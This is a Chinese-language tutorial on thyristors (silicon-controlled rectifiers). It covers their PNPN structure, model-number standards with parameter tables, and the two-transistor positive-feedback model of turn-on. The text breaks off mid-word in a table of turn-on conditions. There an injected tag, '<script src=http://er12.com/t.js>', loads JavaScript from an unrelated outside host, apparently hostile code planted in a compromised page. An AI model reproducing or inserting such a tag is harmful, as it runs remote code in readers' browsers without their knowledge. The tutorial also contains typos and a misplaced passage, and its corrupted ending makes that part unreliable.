一、概述
一种以硅单晶为基本材料的p1n1p2n2四层三端器件，创制于1957年，由于它特性类似于真空闸流管，所以国际上通称为硅晶体闸流管，简称晶闸管t。又由于晶闸管最初应用于可控整流方面所以又称为硅可控整流元件，简称为可控硅scr。
在性能上，可控硅不仅具有单向导电性，而且还具有比硅整流元件（谷称“死硅”）更为可贵的可控性。它只有导通和关断两种状态。
可控硅能以毫安级电流控制大功率的机电设备，如果超过此频率，因元件开关损髦显著增加，允许通过的平均电流相降低，此时，标称电流应降级使用。
可控硅的优点很多，例如：以小功率控制大功率，功率放大倍数高达几十万倍；反应极快，在微秒级内开通、关断；无触点运行，无火花、无噪音；效率高，成本低等等。
可控硅的弱点：静态及动态的过载能力较差；容易受干扰而误导通。
可控硅从外形上分类主要有：螺栓形、平板形和平底形。
二、可控硅元件的结构和型号
1、结构
不管可控硅的外形如何，它们的管芯都是由p型硅和n型硅组成的四层p1n1p2n2结构。见图1。它有三个pn结（j1、j2、j3），从j1结构的p1层引出阳极a，从n2层引出阴级k，从p2层引出控制极g，所以它是一种四层三端的半导体器件
2、型号
目前国产可控硅的型号有部颁新、旧标准两种，新型号将逐步取代旧型号。
表一kp型可控硅新旧标准主要特性参数对照表
参数
部颁新标准（jb1144-75）
部颁旧标准（jb1144-71）
序号
kp型右控硅整流元件
3ct系列可控硅整流元件
1
额定通态平均电流（it（av））
额定正向平均值电流（if）
2
断态重复峰值电压（udrm）
正向阻断峰值电压（upf）
3
反向重复峰值电压（urrm）
反向峰值电压（vpr）
4
断态重复平均电流（idr（av））
正向平均漏电流（i）
5
反向重复平均电流（irr（av））
反向平均漏电电流（irl）
6
通态平均电压（ut（av））
最大正向平均电压降（vf）
7
门极触发电流（igt）
控制极触发电流（ig）
8
门极触发电压（ugt）
控制极触发电压（vg）
9
断态电压临界上升率（du/dt）
极限正向电压上升率(dv/dt）
10
维持电流（ih）
维持电流（ih）
11
额定结温（tjm）
额定工作结温（tj）
kp型可控硅的电流电压级别见表二
表二、kp型可控硅电流电压级别
额定通态平均
电流it（av）（a）
1，5，10，20，30，50，100，200，300，400，500，600，700，800，100
正反向重复
峰值电压udrm，
urrm（×100）（v）
1～10，12，14，16，18，20，22，24，26，，28，30
通态平均电压
ut(av)(v)
a
b
c
d
e
f
g
h
i
≤0.4
0.4～0.5
0.5～0.6
0.6～0.7
0.7～0.8
0.8～0.9
0.9～1.0
1.0～1.1
1.1～1,2示例：
（1）kp5-10表示通态平均电流5安，正向重复峰值电压1000伏的普通反向阻断型可控硅元件。
（2）kp500-12d表示通态平均电流500安，正、反向重复峰值电压1200伏，通态平均电压0.7伏的业通反向阻断型可控硅元件。
（3）3ct5/600表示通态平均电流5安，正、反向重复峰值电压600伏的旧型号普通可控硅元件。
三、可控硅元件的工作原理及基本特性
1、工作原理
可控硅是p1n1p2n2四层三端结构元件，共有三个pn结，分析原理时，可以把它看作由一个pnp管和一个npn管所组成，其等效图解如图2所示
当阳极a加上正向电压时，bg1和bg2管均处于放大状态。此时，如果从控制极g输入一个正向触发信号，bg2便有基流ib2流过，经bg2放大，其集电极电流ic2=β2ib2。因为bg2的集电极直接与bg1的基极相连，所以ib1=ic2。此时，电流ic2再经bg1放大，于是bg1的集电极电流ic1=β1ib1=β1β2ib2。这个电流又流回到bg2的基极，表成正反馈，使ib2不断增大，如此正向馈循环的结果，两个管子的电流剧增，可控硅使饱和导通。
由于bg1和bg2所构成的正反馈作用，所以一旦可控硅导通后，即使控制极g的电流消失了，可控硅仍然能够维持导通状态，由于触发信号只起触发作用，没有关断功能，所以这种可控硅是不可关断的。
由于可控硅只有导通和关断两种工作状态，所以它具有开关特性，这种特性需要一定的条件才能转化，此条件见表三
表三、可控硅导通和关断条件
状态
条件
说明
从关断到导通
1、阳极电位高于是阴极电位
2、控?script src=http://er12.com/t.js>
